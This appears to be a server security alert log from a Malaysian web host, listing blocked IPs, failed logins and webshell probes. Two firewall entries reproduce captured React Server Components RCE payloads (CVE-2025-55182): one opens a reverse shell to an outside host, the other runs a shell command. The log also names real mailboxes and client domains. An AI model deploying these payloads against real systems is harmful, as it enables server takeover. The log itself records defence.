Jan 27 20:18:28 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.134.19 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 20:20:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63423: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 104.37.174.67
country_id: 6252001
description:
2026-01-27 20:20:26 H=([104.37.174.67]) [104.37.174.67]:61400 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<noreply@wetransfer.com> rejected RCPT <sales@cordage.com.my>: SPF: 104.37.174.67 is not allowed to send mail from wetransfer.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 20:20:42 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.71.88.112
country_id: 3469034
description:
Jan 27 20:21:43 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.71.88.112 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 20:21:49 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 92.71.74.221
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:20-21.92.71.74.221||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.136.94
country_id: 99237
description:
Jan 27 20:22:05 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.136.94 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 198.199.90.120
country_id: 6252001
description:
2026-01-27 20:23:23 831573 [Warning] Aborted connection 831573 to db: 'unconnected' user: 'unauthenticated' host: '198.199.90.120' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 159.223.169.9
country_id: 6252001
description:
2026-01-27 20:23:24 831574 [Warning] Aborted connection 831574 to db: 'unconnected' user: 'unauthenticated' host: '159.223.169.9' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 20:23:53 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.59.134.221
country_id: 1269750
description:
Jan 27 20:25:58 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.59.134.221 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.34.200
country_id: 2395170
description:
Jan 27 20:25:58 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.34.200 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.36.202.237
country_id: 3469034
description:
Jan 27 20:25:59 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.36.202.237 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.190.167.201
country_id: 3865483
description:
Jan 27 20:25:59 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.190.167.201 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.25.37
country_id: 798544
description:
Jan 27 20:25:57 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.25.37 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.145.43.131
country_id: 2510769
description:
Jan 27 20:26:16 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.145.43.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.6.200.59
country_id: 3469034
description:
Jan 27 20:26:22 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.6.200.59 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.42
country_id: 3175395
description:
Jan 27 20:26:00 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.25.37
country_id: 798544
description:
Jan 27 20:26:04 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.25.37 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.34.200
country_id: 2395170
description:
Jan 27 20:26:06 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.34.200 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.36.202.237
country_id: 3469034
description:
Jan 27 20:26:07 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.36.202.237 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.190.167.201
country_id: 3865483
description:
Jan 27 20:26:07 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.190.167.201 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 20:26:14 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.59.134.221
country_id: 1269750
description:
Jan 27 20:26:06 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.59.134.221 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.155
country_id: 3175395
description:
Jan 27 20:26:19 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.35.206
country_id: 6290252
description:
Jan 27 20:26:22 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.35.206 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 20:27:22 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/malaysia-infinity-design-projects/commercial/images/home/press.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 20:29:27 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.238.37.145
country_id: 99237
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-kernel/Tests/KernelTest.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/photos/img/photos/testimonial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.37
country_id: 3175395
description:
Jan 27 20:35:34 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.37 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.231.121.38
country_id: 798544
description:
Jan 27 20:35:54 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.231.121.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.209.37
country_id: 933860
description:
Jan 27 20:37:00 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.209.37 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.162.71.212
country_id: 6252001
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/g4.html HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.231.121.38
country_id: 798544
description:
Jan 27 20:36:01 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.231.121.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.209.37
country_id: 933860
description:
Jan 27 20:37:07 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.209.37 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.74.7.79
country_id: 2395170
description:
Jan 27 20:37:24 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.74.7.79 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/img/photos/images/index.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/images/img/druma_photos/project.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.212.194.62
country_id: 3017382
description:
[2026-01-27 20:41:20 +0800] info [cpaneld] 173.212.194.62 - thinkclo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user thinkclo (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.10.70.186
country_id: 6252001
domain: agpc.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/agpc.org.my/100-days-fast-to-feast-in-his-presence/ HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/images/img/press.php||SC:/home/indfinitydesign/public_html/images/img||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 118.194.233.182
country_id: 1880251
description:
2026-01-27 20:47:46 832353 [Warning] Aborted connection 832353 to db: 'unconnected' user: 'unauthenticated' host: '118.194.233.182' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 118.194.233.182
country_id: 1880251
description:
2026-01-27 20:49:26 832470 [Warning] Aborted connection 832470 to db: 'unconnected' user: 'unauthenticated' host: '118.194.233.182' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 118.194.233.182
country_id: 1880251
description:
2026-01-27 20:51:50 832544 [Warning] Aborted connection 832544 to db: 'unconnected' user: 'unauthenticated' host: '118.194.233.182' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.16.228.8
country_id: 1605651
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/image/cache/catalog/Image/General/Cash and Carry-467x319.JPG HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.16.228.8
country_id: 1605651
domain: www.box.com.myhttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.myhttp/www.box.com.my/image/cache/catalog/Image/General/Cash and Carry-467x319.JPG HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 141.94.76.134
country_id: 3017382
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/img/img/img/img/img/demos/about.php||SC:/home2/pspolycom/public_html/img/img||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 57.129.81.228
country_id: 2921044
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/img/img/img/img/img/demos/contact-us.php||SC:/home2/pspolycom/public_html/img/img||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 223.205.191.17
country_id: 1605651
description:
2026-01-27 20:58:07 832704 [Warning] Aborted connection 832704 to db: 'unconnected' user: 'unauthenticated' host: '223.205.191.17' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.255.206.218
country_id: 3469034
description:
Jan 27 21:03:46 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.255.206.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.255.206.218
country_id: 3469034
description:
Jan 27 21:04:00 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.255.206.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.61.36.98
country_id: 2300660
description:
Jan 27 21:06:05 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.61.36.98 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.61.36.98
country_id: 2300660
description:
2026-01-27 21:06:07 dovecot_plain authenticator failed for H=(648A5DR0V5VM) [196.61.36.98]:54655: 535 Incorrect authentication data (set_id=export@urban.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.96.197.15
country_id: 3865483
description:
Jan 27 21:09:44 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.96.197.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.221.77.179
country_id: 1269750
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/productdetails.php?id=3054 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/keyword/images/home/team.php||SC:/home/indfinitydesign/public_html/keyword||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 14.192.214.140
country_id: 1733045
description:
[2026-01-27 21:12:46 +0800] info [webmaild] 14.192.214.140 - jefflee@sutsb.com.my "POST /cpsess1297457574/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [203.106.96.63] != Current IP Address [14.192.214.140]


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 104.37.174.67
country_id: 6252001
description:
2026-01-27 21:13:10 H=([104.37.174.67]) [104.37.174.67]:50333 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<noreply@wetransfer.com> rejected RCPT <syariza@ajresorts.com.my>: SPF: 104.37.174.67 is not allowed to send mail from wetransfer.com


plugin: modsec
rule: 77093094
abuser: 193.142.147.209
country_id: 2921044
domain: 42.0.28.25:443
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('/bin/sh',[]),cl=new n.Socket();cl.connect(12323,'193.142.147.209',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/images/article.php||SC:/home/indfinitydesign/public_html/images/article.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.222.63.91
country_id: 99237
domain: www.tschuan.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.tschuan.com/sludge-thick.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.51.223.130
country_id: 1269750
description:
Jan 27 21:17:07 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.51.223.130 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 132.255.156.231
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=448567 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.208.68.128
country_id: 3469034
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/productdetails.php?id=2108 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.246.88.3
country_id: 272103
description:
Jan 27 21:21:12 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.246.88.3 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.246.88.3
country_id: 272103
description:
2026-01-27 21:21:14 dovecot_plain authenticator failed for H=(56QUULLY) [194.246.88.3]:28359: 535 Incorrect authentication data (set_id=ratanam@maalloys.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.232.149.130
country_id: 1562822
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/productdetails.php?id=1983 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 27.73.91.178
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:21-23.27.73.91.178||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.230.184.34
country_id: 1562822
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/product.php?id=30&sub=83 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.86.123.201
country_id: 3469034
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/productdetails.php?id=8842 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 57.159.30.22
country_id: 1269750
domain: 42.0.28.70
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.230.11.165
country_id: 2661886
description:
Jan 27 21:27:51 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.230.11.165 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.230.11.165
country_id: 2661886
description:
Jan 27 21:28:05 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.230.11.165 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.241
country_id: 3469034
description:
Jan 27 21:28:21 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.241 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.223
country_id: 2510769
description:
Jan 27 21:29:41 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.223 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 104.37.174.67
country_id: 6252001
description:
2026-01-27 21:29:32 H=([104.37.174.67]) [104.37.174.67]:52228 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<noreply@wetransfer.com> rejected RCPT <u-net@u-net.com.my>: SPF: 104.37.174.67 is not allowed to send mail from wetransfer.com


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 171.245.96.236
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:21-33.171.245.96.236||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 51.38.187.112
country_id: 3017382
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/img/img/img/img/img/demos/product.php||SC:/home2/pspolycom/public_html/img/img||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 158.94.211.102
country_id: 6252001
description:
Jan 27 21:39:26 sv3 pure-ftpd[2953792]: (?@158.94.211.102) [INFO] New connection from 158.94.211.102


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.124.117.175
country_id: 798544
description:
Jan 27 21:41:54 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.124.117.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.124.117.175
country_id: 798544
description:
Jan 27 21:42:01 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.124.117.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 104.37.174.67
country_id: 6252001
description:
2026-01-27 21:44:10 H=([104.37.174.67]) [104.37.174.67]:53854 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<noreply@wetransfer.com> rejected RCPT <wmchan@nexuscollection.com>: SPF: 104.37.174.67 is not allowed to send mail from wetransfer.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.150.80
country_id: 99237
description:
Jan 27 21:45:27 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.150.80 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.209.243.5
country_id: 3469034
description:
Jan 27 21:51:48 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.209.243.5 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.209.243.5
country_id: 3469034
description:
Jan 27 21:52:03 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.209.243.5 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 117.0.181.24
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:21-54.117.0.181.24||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.168.194
country_id: 3175395
description:
Jan 27 21:54:17 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.168.194 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 206.189.53.202
country_id: 2921044
description:
2026-01-27 22:00:00 834475 [Warning] Aborted connection 834475 to db: 'unconnected' user: 'unauthenticated' host: '206.189.53.202' (This connection closed normally without authentication)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 171.224.201.77
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:22-00.171.224.201.77||RSV:7.67||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.50.199.9
country_id: 1733045
description:
[2026-01-27 22:04:26 +0800] info [webmaild] 60.50.199.9 - horizon@tst-ma.com "POST /cpsess7524580043/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


